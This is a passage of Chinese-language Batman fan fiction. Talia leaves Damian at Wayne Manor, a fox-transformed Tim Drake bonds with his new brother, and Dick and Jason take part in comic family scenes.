这两天发生了很多事，蝙蝠侠一定想知道他和达米安的经历，而说他对哥谭这两天发生了什麽一点也不好奇也完全不现实，以及提姆到底是怎麽变成这样的，他也想知道。 他不再纠结，冲管家点了点头，跟在达米安身后走进韦恩宅。 坐下后，阿尔弗雷德为众人奉了茶之后，悄无声息的退到了一个不会干扰到大家聊天的位置上。 狐狸看着坐下来的众人，眼神在布鲁斯和卡修斯身上转了两圈，最后还是跳到了布鲁斯的身上，将自己好好地在布鲁斯腿上盘成一坨，眼睛咕噜噜地转着，像是打量坐在他们对面的达米安和塔利亚，它的尾巴还无意识地一甩一甩的，拍在他打着石膏的手臂上。 布鲁斯不由自主的用另一只还完好的手一下下抚摸着红狐的皮毛。 塔利亚的视线也在他吊着的胳膊上停留了好几次，玩笑似的率先开口：“看来哥谭的猫头鹰们把你折腾的挺惨？” 布鲁斯抬起眼皮，他微微勾了勾嘴角：“还要感谢你，如果不是受了你的蛊惑，林肯·马奇也不会这麽心急地暴露自己。” 能不能不要当谜语人？ 卡修斯表示听不懂，不知道这里又有林肯·马奇什麽事。 布鲁斯看了一眼，对塔利亚说：“是你引诱他，告诉他，只要处理掉我，让达米安继承韦恩集团，你就用韦恩集团的资源全力支持他掌控哥谭。” 塔利亚风情万种地撩了撩头发，笑了笑，说：“大部分男人都有一种奇怪的自信，以为女人和孩子是愚蠢的，也是最容易掌控的。” “林肯·马奇只是碰巧看到了达米安，就认定他是你的孩子，也以为我是期待着母凭子贵的平庸女人。他对你有执念，如果不利用这份执念，我就不配成为一个奥·古。” 卡修斯听到塔利亚的心里这样说。 “但你失败了。” 布鲁斯说。 塔利亚脸色只脸色难看的说了一句：“计划不如变化。” “要不是丧钟坏我的事，哥谭的猫头鹰法庭说不定现在已经在我的掌控之下了！” “丧钟为什麽要抓你？” 布鲁斯直接问。 塔利亚冷笑了一声：“他想通过娶我，彻底掌控联盟，我怎麽可能让他得逞。” 注意力一直在狐狸身上的达米安的眉毛立即竖了起来：“什麽？这个浑蛋！之前我就该一刀杀了他！” 这大概就是一个螳螂捕蝉，黄雀在后的故事。塔利亚想要利用林肯·马奇得到猫头鹰法庭的势力，临门一脚的时候被丧钟搅合了。有可能是丧钟告诉了林肯·马奇，塔利亚的真正身份，林肯·马奇一不做二不休，干脆配合丧钟做戏，让他顺利劫持了塔利亚，自己也将蝙蝠侠坑进迷宫，想要将他困死在那里。 卡修斯知道自己不该插话的，但他又有些忍不住，他用眼神示意了一下窝在布鲁斯腿上的狐狸：“他又是怎麽回事？” 达米安这会儿也明白了这只狐狸并不是卡修斯说的，是他的宠物，但这不影响他沉迷吸狐。 “你提供的信息很有用，但迷宫在哥谭的地下存在这麽久没被发现，是有原因的。它的外层被布了一层隐匿魔法，提姆意识到了那里微弱的能量波动，强行破坏了那里的魔法，这是被反噬的结果。” 迪克终于有了说话的机会，他立刻为卡修斯解释。 “所以他是……？”达米安指着狐狸问。 迪克朝他露出一个友善的微笑：“他和我一样，也是布鲁斯的养子，你的兄弟，提摩西·德雷克-韦恩。” 达米安听到姓氏，看着狐狸，皱眉问：“为什麽他冠了韦恩的姓氏？” “提姆原本住在隔壁德雷克庄园，这些年他帮了我很多。杰森的死对我打击很大，是提姆陪在我身边，帮助我走出了最黑暗的日子。后来他的父母相继被杀害，无论出于什麽理由，我都必须收养他，给他一个家，他是我的儿子，也是这个家不可缺少的一部分。” 布鲁斯一边说，一边持续慢慢抚摸着狐狸的后背。 卡修斯看到狐狸用爪子圈住自己，闭着眼假装自己已经睡着了，但竖的直直的耳朵和不停抽布鲁斯胳膊的尾巴暴露了他其实在认真听的事实。 达米安看着狐狸，若有所思。 过了一会儿，他问道：“那他还能恢复吗？” 布鲁斯点了点头：“我已经联系了我的魔法师朋友，她说这个魔法并不复杂，过两天她会来帮忙解除这个魔法的。” 达米安看上去一脸遗憾。 塔利亚对提姆是狐狸还是人并不感兴趣，她接着刚才的话题说：“不过丧钟说的没错，和我结婚，继承刺客联盟就更有正统性，我不愿委身威尔逊，但布鲁斯，你是不一样的，我们甚至还有了达米安，考虑一下？” 迪克似是被呛到似的剧烈咳嗽起来，连阿尔弗雷德的眉毛都挑了起来。卡修斯则一脸崇拜的看着塔利亚，真没想到她会当众求婚。 达米安充满期待的看着布鲁斯，他大概是全场最希望两人能在一起的那个。 布鲁斯神色如常，他摇了摇头：“当我知道达米安存在的时候，特意去找你，但是你避而不见，现在却希望和我结婚？塔利亚，我从没把你当作过普通女人。” 这就是委婉地拒绝了塔利亚的要求。 “意料之中。”塔利亚耸了耸肩，同样也没什麽失望的神色，“那我也不便在哥谭久留，今晚就走。” 说着，她放下茶杯站了起来。 “达米安。”塔利亚又叫了一声。 男孩的眼神还追着狐狸，依依不舍的跟在了塔利亚身边。 “等一下。” 布鲁斯开口道。 塔利亚像是知道他有话要说似的，停下脚步，转身笑看着他。 “你要去杀人，难道要继续带着一个10岁的孩子吗？” 布鲁斯问。 卡修斯原本轻松的神情也慢慢收了起来。 剧情已经和他所熟知的不一样了，他现在也不确定达米安会不会被塔利亚留在布鲁斯身边。 “母亲要杀的，都是该杀之人。他们背叛了祖父，背叛了母亲，就得死。”达米安皱着眉，严肃地说。 卡修斯的眉毛也皱成了一团，好像瞬间回到了不久前跟着达米安一起杀人如切菜的日子。 “大哥，说句话吧，只要你开口，塔利亚会让达米安留下来的！” 卡修斯在心里疯狂呐喊。 随着布鲁斯站起的动作，狐狸又跳回地上，他仰起头，看了看众人的神态，然后露出一个对狐狸来说，非常复杂的表情。 他走到达米安面前，用爪子拍了拍他。 达米安忍不住弯腰将狐狸抱了起来。 红狐立刻在达米安的怀里露出肚皮，意思是他可以摸。 卡修斯觉得简直没眼看。 以一只野兽的身份做出家宠的姿态，提姆·德雷克-韦恩，为这个家付出了太多。 感人至深。 达米安的眼睛都亮了起来，他小心翼翼的摸着狐狸柔软的肚皮，脚底下像是生了跟似的，再也没办法往塔利亚身边走进一步。 “我希望这孩子能留在这儿。” 布鲁斯说。 塔利亚慢慢挑起一个微笑。 “他可以留下，不过我要你承诺，你必须亲自训练他，把你会的都教给他。” “当然。” “达米安，跟着你的父亲，认真训练，记住你的身份，不可懈怠。” “我会的，母亲。” 达米安努力想要严肃的回答塔利亚的话，但他控制不了自己嘴角不停往上扬的角度。 塔利亚看了他一眼，提醒道：“不要玩物丧志。” 达米安撸狐狸的手顿了顿，垂着眼说：“我知道了。” 塔利亚最后将目光短暂的停留在卡修斯身上半秒，又轻飘飘的滑走，随即转头，离开了韦恩宅。 塔利亚一走，狐狸“嗖”一下跳出达米安的怀抱，几下攀上卡修斯的肩膀，又开始假装围脖。 “能下来吗？热啊！”卡修斯跟正用鼻子怼着自己脸的狐狸商量。 “你可以趴我脖子上，我不怕热。”达米安对着狐狸说，顺便还狠狠瞪了卡修斯一眼。 “瞪我干什麽？这是我的狐狸。”卡修斯现在有人撑腰，对达米安说话的态度都跟以前不一样了。 达米安立即瞪着眼说：“胡说！他明明是我的兄弟，我劝你让他赶紧过来！” “你怎麽不自己叫呢？”卡修斯有点子嚣张。 迪克双手环臂站在一边乐呵呵的说：“所以，你们俩现在是在跟一只狐狸争宠？” “你懂什麽，我在帮达米安和提姆培养兄弟情，饥饿营销知道吗？得不到的才是最好的！” 卡修斯给迪克递了个“你别管”的眼神。 迪克：…… 有这个必要吗？ 第67章 My brother，欢迎来到正常人类社会。 “吱吱，你变了！变得不听话了。要知道，忤逆主人的宠物是不配得到宠爱的！” 达米安用他最熟悉的，故作成熟的语气对卡修斯做出严厉的指控。 “咳咳咳——”迪克又不小心被口水呛到。 达米安嫌弃地看了他一眼：“你站远点，不要把病毒传染给吱吱和提姆。” “我对父亲收养孩子的眼光表示怀疑，正常呼吸却被口水呛到，跟平地摔有什麽区别？我的这位养兄小脑发育可能不完全。” 卡修斯看热闹不嫌事儿大，立即在脑内把达米安的心理活动无缝传达给迪克。 迪克：…… 夜翼感觉卡修斯在离间他和达米安之间尚未创建的兄弟情谊，但他暂时没有证据。 “你为什麽叫他吱吱？”迪克抚着胸口帮自己平复咳嗽，又指了指一脸淡定的卡修斯。 达米安理所当然地说：“他在刺客联盟的时候由我饲养，我当然有命名权。” 啊这…… 一时间不知道自己新来的小弟弟把普通人当宠物养比较离谱，还是这个普通人对此习以为常比较离谱。 “阿尔弗，先带达米安去看看他的房间吧。”布鲁斯开口打断了他们的交谈。 “好的，老爷。”阿尔弗雷德上前两步，走到达米安身边，朝楼梯的位置伸了伸手，“达米安少爷，请跟我来。” “卡修斯，和我去书房，我们需要谈谈。”布鲁斯看着卡修斯说。 “提姆，下来，去和达米安一起看看他的新房间好吗？”布鲁斯对盘在卡修斯脖子上当围脖的狐狸耐心劝说道。 自从他变成野兽之后，智商忽高忽低，听得懂人话的时间也非常有选择性，但布鲁斯完全不觉得提姆是在装。他觉得以提姆的性格，绝对做不出撒娇卖萌的行为。所以他才在被达米安质问的时候，说出那番话。如果提姆不是只狐狸，他也许这辈子都不可能在提姆在场的时候说出那番话。 狐狸看上去非常犹豫，既想在卡修斯的脖子上继续盘着，又不想让布鲁斯失望。 达米安臭着脸看着卡修斯，仿佛卡修斯是破坏他们兄弟感情的罪魁祸首。 卡修斯感觉自己和达米安之间原本坚固的鼠主子和铲屎官的感情变得塑料起来——都怪提姆这个狐狸精！ 这狐狸虽然看着不大，但确实还有些分量，才在卡修斯的脖子上盘了一会儿，他就觉得自己的颈椎酸得受不了。 其实卡修斯也有意让提姆和达米安培养感情，所以他拍了拍狐狸的尾巴：“去找达米安吧，不用担心我。” 狐狸又用鼻子碰了碰卡修斯的脸，才依依不舍地从他身上跳下来，慢慢走到达米安脚边，用尾巴使劲抽他的脚踝，并且仰头发出短促的“嗷呜”声。 不知道是不是魔法的关系，这只狐狸的尾巴格外有劲，迪克有一次抱狐狸的时候，被它的尾巴抽中过手腕，那感觉就像被猫女的鞭子抽了一下似的。 迪克本以为被抽到的达米安会生气，但没想到小孩居然满意的点了点头：“不愧是我的兄弟，就算变成狐狸，尾巴都比其他的狐狸有力！比没用的格雷森强多了。” 迪克：我的新弟弟认知有问题，人畜颠倒怎麽办？ 达米安弯腰想要再去抱他，没想到狐狸躲开了，他昂首挺胸地走在阿尔弗雷德身后，又冲达米安呲了呲牙，又“嗷——”了一声，意思是：跟上！ 达米安一点脾气都没有，他点了点头，回答道：“好的。” 弄的好像他们两个真的能用同一种语言交流似的。 不过在走上通往二楼的旋转楼梯的时候，达米安转头对着身后的布鲁斯说：“父亲，吱吱身上还有枪伤，你们不要谈太久。” “虽然吱吱现在不听话了，但我还是要尽最大的努力维护他，我真是这个世界上最好的饲主！” 达米安在心里夸赞自己。 卡修斯的嘴角抽了抽。 说话间，阿尔弗雷德和狐狸已经优雅的站在了二楼：“达米安少爷，这边走。” 达米安快走几步跟了上去，他走在狐狸旁边，努力制造狐狸其实是跟在他脚边的假象，迪克在后面看的想笑。感觉卡修斯的担心完全多余，达米安一定会和提姆相处得很好的。 阿尔弗打开二楼走廊中间一道卧室门，示意达米安进去看看，达米安却在门口停下了脚步。 “提姆的房间在哪儿？”他问。 阿尔弗顿了顿：“提姆少爷的房间在走廊的另一边。” 他在更早的时候就听到过卡修斯的心声，后来布鲁斯也简短对他说明过，自那时起，他就着手整理出一个适合10来岁男孩的新房间，以应对未来可能出现的，今天这种状况。考虑到这孩子的生长环境，性格也许并不好相处，阿尔弗雷德特意选了个远离提姆的房间。 “提姆需要随时有人照顾，离得近才方便。”达米安扬起下巴说，“我要住在他旁边！” “嗷！” 我不需要人照顾，尤其不需要儿童来照顾！ 迪克根据狐狸和提姆如出一辙的，不满意的表情，在心里翻译。 “这个房间是二楼空间最大的房间，提姆少爷旁边的房间都比较用拥挤，恐怕不适合您。”阿尔弗雷德解释道。 “我住哪里都无所谓，爬雪山的时候连比我小的山洞都住过。”达米安立刻表示自己对环境并不挑剔。 “爬雪山？你爬什麽雪山？” 迪克上下打量着达米安的身高，眼里是掩饰不住的惊讶。 达米安点了点头：“我四岁就可以独自攀登喜马拉雅，9岁已经能登顶珠穆朗玛，没有这点能力，以后怎麽领导联盟，统治全人类？” 迪克大吃一惊：“啥？你还想统治全人类？” 这是什麽绝世大反派的人生目标？ 达米安一脸理所当然：“当然，母亲让我留在父亲身边，难道不是让我跟着父亲学习如何统治外星人吗？” 迪克大吃一鲸：“啊？布鲁斯什麽时候统治了外星人？” “氪星人，火星人，鱼人，鸟人，还有亚马逊人，诸如此类。”达米安对小脑发育不完全的养兄非常宽容，耐心的解释。 母亲跟他讲过，蝙蝠侠是一个叫作“正义联盟”的组织的顾问，他们都听父亲的。 在刺客联盟，只有最强者才能得到尊重。这也是他尊重父亲，愿意听他话的原因。 迪克张了张口，但又不知道怎麽跟他说。 难道要告诉他，你爸爸留你在身边绝对不是想要教你什麽统治外星人的方法的吗？ 算了，还是让布鲁斯自己去头疼吧。他总算是知道布鲁斯前段时间为什麽急于将达米安找回来了，刺客联盟真的不是个养孩子的好地方。 说话间，达米安已经随着狐狸的脚步，走进了阿尔弗雷德为他准备的卧室，原本他只打算扫一眼的，反正明天就要换地方住。 但他刚走进房间，就站定了。阳光从落地窗洒进房间，深绿色帷幔与实木家具透出古典的厚重感。达米安径直走到窗前，目光扫过书架上整齐排列的《世界军事史》和《动物行为学》，最后停在床头一幅未拆封的拼图上——盒面印着哥谭夜景。 “这是老爷少年时期最爱的拼图，我想您或许会对这个感兴趣。”阿尔弗雷德说。 提姆跳上桌子，围着拼图转了一圈，嗅了嗅，又冲着达米安“嗷”地叫了一声。 迪克看着拼图笑了出来：“几乎来到韦恩庄园的孩子都能收到这个礼物，这算不算也是一种家族传统？” 达米安伸手拂过拼图边缘，问道：“你多久把它拼出来的？” 迪克皱眉想了想，说：“太久了，不怎麽记得，大半天？还是一天。” 说罢，他接话道：“不过布鲁斯告诉我，他当时只花了6个小时。” 达米安点了点头：“我会花比父亲更少的时间做到的。” 迪克愣了一下，才说道：“这又不是什麽比赛，不用非得争个输赢……” 阿尔弗雷德也说：“的确，达米安少爷，没有人会为这个计分，你可以享受这个过程。” 达米安困惑的看了他们一眼，但并没有发表什麽意见。他在刺客联盟养成的习惯就是凡事都要靠自己去查找答案。 “好了，阿尔弗，你还有许多事儿要打理，带达米安参观庄园的任务就交给我吧。” 迪克主动说道。 达米安皱眉：“这个家难道只有他一个仆人吗？” “是的，所以恕我还要忙于内务，陪伴的工作就交给迪克少爷了。”阿尔弗雷德并没有反驳他关于“仆人”的说法，他朝迪克点了点头，转身离开了。 原本趴在桌上的狐狸也直起身，对着达米安呲了呲牙，发出一声威胁性的嚎叫，然后跳下桌，跟在阿尔弗雷德身后，昂首挺胸地走了。 迪克收敛了笑容，表情严肃地对达米安说：“阿尔弗雷德不是仆人。” 达米安困惑地看了两人一眼：“在刺客联盟，照顾我生活的人都是联盟的仆人，他照顾父亲的起居，还管理整个庄园，不是仆人是什麽？” 迪克一脸肃容地对达米安说：“韦恩庄园不是刺客联盟，这里没有谁是谁的仆人，阿尔弗雷德是我们的家人，没有阿尔弗就没有韦恩庄园，其他任何事你都可以慢慢学，但唯独这件事，我……布鲁斯，韦恩庄园的每个成员，都希望你能学会尊重阿尔弗雷德。” 达米安看着一路上从接到他和母亲，一直到现在，始终态度和善，保持微笑的理乍得·格雷森，又看了看远处不停扒拉阿尔弗雷德裤脚，最后被无奈的阿尔弗雷德抱起来的狐狸，才垂下眼，说：“既然他这麽重要，那麽为了父亲，我不会再叫他仆人了。” 迪克能从他脸上不太情愿的表情看的出，这孩子心里对自己刚才说的话并不是很认同，只是出于认可布鲁斯的能力，才勉强选择了妥协，但想到他的成长环境是刺客联盟这样的尊卑制度极度严明的封建组织，迪克也不能对他过于苛责，只能期望今后的日子里，韦恩庄园的生活能慢慢改变这他的被刺客联盟教歪的世界观。 “走吧，我们去外面看看。”迪克没再继续说教，他将手搭在达米安肩上。 他能感觉到达米安整个人在被他接触到的时候，肌肉完全紧绷了。 但他像没发现似的，手掌很自然的用力，带着他下楼。 达米安对庄园的布局很有意见，认为庄园浪费了太多有价值的地方来做毫无意义的绿化以及娱乐场所，并扬言如果自己接手庄园的重构任务，一定会把这里改造成一个更坚固的堡垒。 经过几个小时的接触，迪克已经看出刺客联盟教养达米安的方式，他根本不理会达米安的封建发言，懒洋洋的靠在被他嫌弃没有任何用处的石雕上，看着达米安用随身的压缩干粮逗弄人造湖里的锦鲤。 “这麽说，你不喜欢这儿咯？”他故意道。 达米安将手里的干粮碾碎，均匀的洒在自己面前的湖面上，目不转睛的看着瞬间聚集起来的胖鱼们，头也不抬地说：“我喜不喜欢不重要，我要证明自己的价值，才有资格作为父亲的孩子留在这儿。” 迪克走过来，蹲在他身边，随手捡了一只树枝，将它伸进水里，看着水里的鱼瞬间跑远，温声说道：“这些鱼有什麽用呢？作为观赏性的锦鲤，它们并不是最珍贵的，作为食材，它们又长得太大，肉太粗了，不好吃。但它们依然在这里。达米安，在韦恩庄园，你可以不用时刻证明自己‘有用’。” 男孩眯起眼，侧头看向迪克：“母亲说过，没有价值的人只会被淘汰，更惨一些的，要为自己的弱小承担死亡的代价，这是这个世界的生存法则。” “这只是刺客联盟的，不是世界的。”迪克带着达米安站起来，“我的小弟弟，欢迎你来到正常的人类社会，韦恩庄园的生存法则就不是这样的。出现在这里的，都是你的家人，而家人会无条件接纳你，哪怕你做饭会炸厨房，或者一天要喝十八杯咖啡。” 达米安在这麽一长串里，只找到一个重点，他认真地问：“谁会炸厨房？” 迪克：…… 当然是你心里那个能统治外星人的父亲：） 第68章 兄友弟恭plus 为了保护达米安心中厉害到能统治外星人的布鲁斯的父亲形象，迪克决定还是暂时不揭他的短，而是换了个话题。 这也是他最好奇的一个问题，前面一切的闲聊，除了拉近和达米安的感情之外，还有让他放下戒心，能好好回答他之后的问题的意图在里面。 “你和卡修斯……就是你口中的吱吱，是怎麽认识的？” “我在刺客联盟的时候，应该是过的不太好，是达米安以宠物的名义将我带在身边，也是他故意放水，我才能顺利逃离刺客联盟，我大概就记起这麽多。” 面对布鲁斯对他和达米安关系的询问，卡修斯描述的时候语气非常客观，没多少情绪，而他的心理活动也告诉布鲁斯，事实上，他并没有记起具体的情节，只是通过这些天和达米安的接触，进行的推断。 他们在书房，布鲁斯询问他去拉尔斯在阿尔卑斯山脉上的避难所以及外赫布里底群岛附近钻井的事宜，卡修斯高度概括了两人的行程，其中关于杀人的细节更是连提都没有提过。 布鲁斯是个聪明人，他不会追问这些细节，更不会以为他们是用爱感化了这些刺客。 “对了，达米安没杀丧钟，但那个海上钻井是拉尔斯用来抽取拉撒路池水的，我们离开的时候没看到丧钟，我觉得他应该不那麽容易死。”卡修斯说。 布鲁斯点了点头，说：“我已经通知正义联盟去勘察这个钻井，疏散周围的渔船后，我们会彻底摧毁那里。” 卡修斯“哦”了一声，没接话。主要觉得，这种联盟事务，他一个路人甲好像也没有指手画脚的资格。 你可不是路人甲。哪个路人甲能让我的三个儿子都神魂颠倒。布鲁斯想。 更何况，不管是有意还是无意，卡修斯似乎都参与到不少和哥谭相关的重要事务之中。 小丑的死就不说了，能这麽快发现林肯·马奇的真实身份，并逼迫猫头鹰法庭行动，从而暴露，一开始也是卡修斯提供的线索，更别说，在他被困法庭迷宫的时候，卡修斯和杰森一起解救了朗斯特姆博士一家，也破获了拉尔斯在哥谭秘密研究人蝠药剂的阴谋——虽然它在拉尔斯死后，被丧钟接手了。 说到人体实验，布鲁斯又想到了卡修斯身上的那个纹身，直到现在为止，他们都还不知道那个钥匙形状的图形到底是什麽意思。他将那个图形拍下来利用蝙蝠洞甚至瞭望塔的数据库进行过检索，可目前为止，毫无收获。 不但如此，现在似乎有了新的问题，卡修斯的记忆有缺失，但他本人对找回记忆这件事并不热衷，甚至有些抗拒，这让布鲁斯为他曾经在刺客联盟的经历感到担忧。 “之前我就说过，希望扎塔娜来，可以帮助你探究一下那个会变化的纹身。”布鲁斯开口道，“她是一位非常优秀的魔法师，如果你愿意的话，可以让她帮你检查一下记忆，她的反语魔法或许可以帮你回溯……” “不需要。” 卡修斯忽然非常快速地出声打断布鲁斯，之后他又觉得自己好像过于敏感了。 “谢谢你的好意，但我暂时不想想起那些，无论我曾经经历过什麽，都已经过去了，现在的我才是真实的我。”卡修斯尽量用无所谓的口吻说。 布鲁斯抬眼看了他一会儿。他发现，就算是难以控制的心里活动，卡修斯好像也在潜意识里刻意逃避回忆在刺客联盟的日子。 现在唯一知道他过去经历的两个人里，杰森虽然已经不像最初那样一见到他就炸毛，但也没有好到哪里去，总之，想和他进行友好和平的对话还目前比较困难，那麽只有从达米安那里入手了。 布鲁斯打算找机会和达米安好好聊一下，从他那里了解卡修斯到底在刺客联盟经历了什麽。 “好。”他摩挲着茶杯手柄，重新谈起和达米安有关的话题：“拉尔斯和塔利亚把那孩子训练成了完美的武器，但他不该是一柄只懂得弱肉强食的杀人凶器。” 卡修斯心不在焉地点点头。 “没关系，他最终还是会折服在父亲的人格魅力之下的。” 布鲁斯被他心里突如其来的马屁拍的停顿了一下。 自从卡修斯知道他们能听到他的心声后，克制了许多，尤其是单独面对他的时候，很少能再听到他心里的调侃了。在他忍不住的时候，总会背他的那个24字正能量，弄的布鲁斯哭笑不得。 他拉回自己的短暂的走神，继续说：“我希望你能暂时留在庄园做客，达米安信任你，而提姆——”他走到窗前往下看，那团火红色的毛茸茸正在阿尔弗雷德临时为他开辟出来的沙土区刨坑。 “你没回到哥谭之前，他完全不是这样的，他很焦虑，完全不肯亲近人，还总是站在韦恩庄园的最高处，一呆就是好几个小时。我希望在扎塔娜来帮忙解决这个问题之前，你能暂时留在这里。” 卡修斯也缓缓踱步到窗前往下看，但他并没有立即答应。 布鲁斯最后开口道：“还有杰森，你在庄园做客，也许杰森会看在你在这儿的面子上，多来庄园几次。” 楼下达米安正蹲在狐狸旁边，叽叽咕咕地说着些什麽，迪克站在离他们稍远一些的地方，面带微笑地看着他们，画面有点温馨，如果再加上杰森的话，就圆满了。 合家欢爱好者忍不住点了点头。 “好。” * 阿尔弗雷德的效率很高，在得知卡修斯会在韦恩庄园暂住一段时间后，立即带他去参观了三楼的客房，里面一应生活用品俱全，准备的十分妥帖。 “有什麽需要，您可以再找我。” 阿尔弗雷德站在门边，恭敬地说。 “已经很好了。”卡修斯也保持微笑地礼貌地回应。 “布鲁斯还假惺惺地征求我的意见，这绝对就是一早准备好的。” 阿尔弗雷德微笑道：“有备无患，相信以您的善良，一定不会放任提姆少爷在特殊形态的时候，患上任何心理疾病的。” 阿尔弗雷德肩上的狐狸又“嗷呜”了一声，然后纵身一跃，跳到卡修斯的怀里，一个劲的往他脸上拱。 “提姆少爷，请保持矜持。”阿尔弗雷德对着狐狸说。 狐狸假装听不懂人话。 达米安从韦恩宅内的图书室里走了出来，他手中抱着一本书，走近后，卡修斯从一闪而过的封皮上看到书的名字，叫做《狐狸与猎狗》。 “人类世界对于作为狐狸的提摩西来说还是太危险了，谁也不知道明天和意外哪个先到来，我为他制定了详细的训练计划。” 说着，他将手中的几页纸递给阿尔弗雷德。 “潘尼沃斯，你需要做的就是根据我在运动计划中算出来的训练量，合理安排和制作他的饮食，根据他的体重和运动量，将每日的蛋白质摄入量精确到克！” 管家满脸淡定的接过还沾着油墨味的表格，卡修斯为这辈子还能听到这种对话感到神奇，抻着脖子看了扫了一眼，第一页上面还特意用大一号的字体写着“晨间捕猎模拟训练”和“午间攀岩耐力测试”等项目。 阿尔弗雷德粗略的翻了一阵，挑眉问道：“需要我为您和提姆少爷准备一些训练道具吗？” 达米安摇头：“不用，我已经命令格雷森去庄园西侧的灌木丛里抓捕田鼠，作为父亲曾经的助手，这项神圣的任务是对我对他作为我的兄弟存在在这个庄园里的考验。” 卡修斯：…… 当我希望你们能够培养积极的兄弟情的时候，确实没想到事情的走向是这样的。 不过，这在某种程度上来说，也算是达成了他最初的期望吧。 感谢这个给迷宫外设魔法阵的不知名法师，哪天你要是落在蝙蝠侠手里，我会帮你求情的，让他少打你两拳。 * 在韦恩庄园做客的日子非常舒适，阿尔弗雷德是这个宇宙最强管家这句话已经说累了，总之，在这里他得到了从来到这个宇宙以来的最好照顾。 每天早上起床的时候，达米安已经（强行）带着狐狸完成了晨间锻炼，两人一狐刚好可以共进早餐。 有狐狸的存在，卡修斯在达米安这里已经完全失宠。不过无所谓，每天早上看着达米安和狐狸在一个盘子里吃饭（主要是达米安会品尝狐狸盘子里的蔬菜和水果），就已经能给他一天的生活带来足够多的乐趣。 迪克已经离开庄园，回到布鲁德海文继续他的社畜生涯，不过他承诺每周末都会回来，带着自己的新弟弟继续熟悉韦恩庄园以及哥谭这座城市。 由于提姆的形态问题，达米安理所当然的接任了罗宾的职责，坚持要“帮助”自己的兄弟提姆继续履行他作为罗宾的职责。 蝙蝠侠当然不同意，但达米安会偷偷穿上罗宾制服自己去夜巡。 夜巡的第一件事就是跑去朗斯特姆教授家的窗外，向他在哥谭认识的第一个普通朋友展示他的罗宾制服。 “我就知道，穿罗宾制服的你也超级帅的！” 瑞贝卡将脑袋伸出窗外，像是要亲罗宾倒挂在窗口的脸颊。可惜被被对方及时地躲开。 “你做什麽！” 带着多米诺面具的男孩脸微微泛红。 瑞贝卡双手撑着脑袋说：“当然是再次对你表示感谢呀。对了，你腰间那个小包里装的是什麽？我怎麽觉得它一直在动？” 一只穿着宠物罗宾服装的狐狸从袋子里钻了出来，它仰头冲着罗宾嚎叫一声，然后隔着他的制服，对着小臂狠狠咬了一口。 “嘶——” “啊，这是狐狸吗？它好漂亮，我能摸摸吗？” 瑞贝卡看着钻出来的蓝眼睛狐狸，眼睛都亮了起来。 达米安把狐狸重新塞了回去。冷酷的拒绝了她：“当然不能，劝你打消这个念头。” 说罢，他转身，射出抓鈎枪，迅速离开了那里。 “嘁，小气鬼。”女孩皱了皱鼻子，不大高兴的关上了窗。 一场原本可能发生的早恋就这样被扼杀在了摇篮里。 自从达米安偷偷穿着罗宾制服去夜巡之后，布鲁斯也知道自己没法办阻止他，只能同意了。 “约法三章，第一，夜巡的时候不允许带你的武士刀。” 第二天，布鲁斯在书房对达米安说。 达米安不大高兴的将挂在腰间的武士刀交给了阿尔弗雷德。 “第二，夜巡期间，必须随时在我的视线范围之内。” “可你对迪克，杰森的要求都不是这样的！” 达米安据理力争。 “那是因为他们成为罗宾之前，不是一个刺客。” “TT” 达米安虽然有些不服气，但还是不情愿的接受了。 “还有第三条呢？事先说明，不是我要带着提摩西，是他非要跟着我的，你要是不让我带他，得跟他商量。”达米安说。 “第三是任何情况下，听指挥，以及绝对不允许杀人。”蝙蝠侠严肃的说。 “可是……”达米安想要反驳，但蝙蝠侠不容置疑地抬手打断他。 “这是底线，如果你做不到，我不介意用一些特殊方法将你留在庄园里。” 达米安脸色变换一阵，最后只能点头同意。 “好吧，看在你的份上，我会尽量控制住杀死那些垃圾的冲动。” 男孩学着布鲁斯的样子双手抱臂，他抬起头，有些傲慢地说。 楼下突然传来重物坠地的闷响。 听声音像是战术靴落地的声音。但此刻卡修斯去自己的店里上班，迪克根本就不在庄园。 达米安在阿尔弗雷德来不及反应的时候，将他手中拿着还没来得及收起来的武士刀抽出刀鞘。 “等……” 布鲁斯阻止的话还没来得及说，达米安已经风一般的跑了出去。 站在二楼廊梯旁，就看到红狐正在楼下绕着大宅跑，杰森正拿着一只捕兽网，跟在它身后拼命追。 他穿着的黑色紧身T恤胸口有三道斜着的兽爪印，破损的衣料外翻，露出一点红色的痕迹，但他的嘴边竟然挂着一些红色的绒毛，仔细看向狐狸，发现它的头顶隐约秃了一块。 “陶德！该死的你对提摩西做了什麽！你嘴边的是什麽？你是不是咬他脑袋了，你这个变态！”达米安拿着刀直接从二楼跳了下去。 狐狸趁机跳上了吊灯，站在吊灯的边缘冲着杰森呲牙。 “搞清楚，是他先袭击了我！” 杰森呸掉嘴里的狐狸毛，指着胸口还泛着血迹的抓痕怒道。 达米安根本不听他解释，直接举着刀冲了过来。 卡修斯靠着门框，对着阿尔弗雷德询问的眼神耸了耸肩，无语望天。 “春天到了，谁知道这小畜生什麽时候发情，老子好人做到底，给它约了哥谭最好的兽医，今天刚好有空，亲自带它去绝育，你们不要不识好歹，等它真发情了在家里乱尿，有你们受的！” 杰森大声说。 “我先阉了你！” 达米安怒吼。接着又转身质问卡修斯：“吱吱！你为什麽要把他带来！” 卡修斯一脸无辜，感觉自己真是躺着也中枪。 布鲁斯的预计确实没错，除了第一天他去店里上下班是由阿尔弗雷德接送，第二天一早，杰森就骑着摩托出现在了韦恩宅门口，扬言只要他住在这里，就由他来接送，不用麻烦阿尔弗雷德。 管家非常愉快的将这份差事交了出去。 从此以后，每天不睡到10点不起来的布鲁斯也开始跟着卡修斯作息一起起床，就是为了每天早上隔着窗户目送他和杰森离开。 而杰森明明知道布鲁斯在窗后看他，却从来当作不知道，只在离开韦恩庄园大宅的这段路上，开的特别慢，直到拐过第一个弯之后，才会突然加速。 卡修斯：好的，我知道我是你们（修复父子情）play的一环了。 “谁跟他是父子情！” 杰森听到他的心声后，会愤怒的反驳。 今天也是这样。当杰森说要跟他一起进来时，他确实表现出了疑惑，不过他当时说是要来看看阿尔弗雷德。 卡修斯以为是他嘴硬，明明想见布鲁斯，却非要说看阿尔弗，不过善解人意的卡修斯并没有揭穿他。 谁能想到他处心积虑地打算要抓狐狸去绝育呢？ 卡修斯合理怀疑，杰森是在为当初被提姆俘虏后，强行做体检而实施报复。 卡修斯抬起头，看向姗姗来迟的布鲁斯，希望他能阻止这种兄弟之间奇怪的交流感情的方式。 但此刻的布鲁斯·韦恩非常没用，他像是被曾经的提姆附身了一样，正拿着手机一丝不苟地录像，嘴角还微微弯起一个可疑的弧度。 第69章 哥谭澄清谣言的方式是举办一场慈善酒会 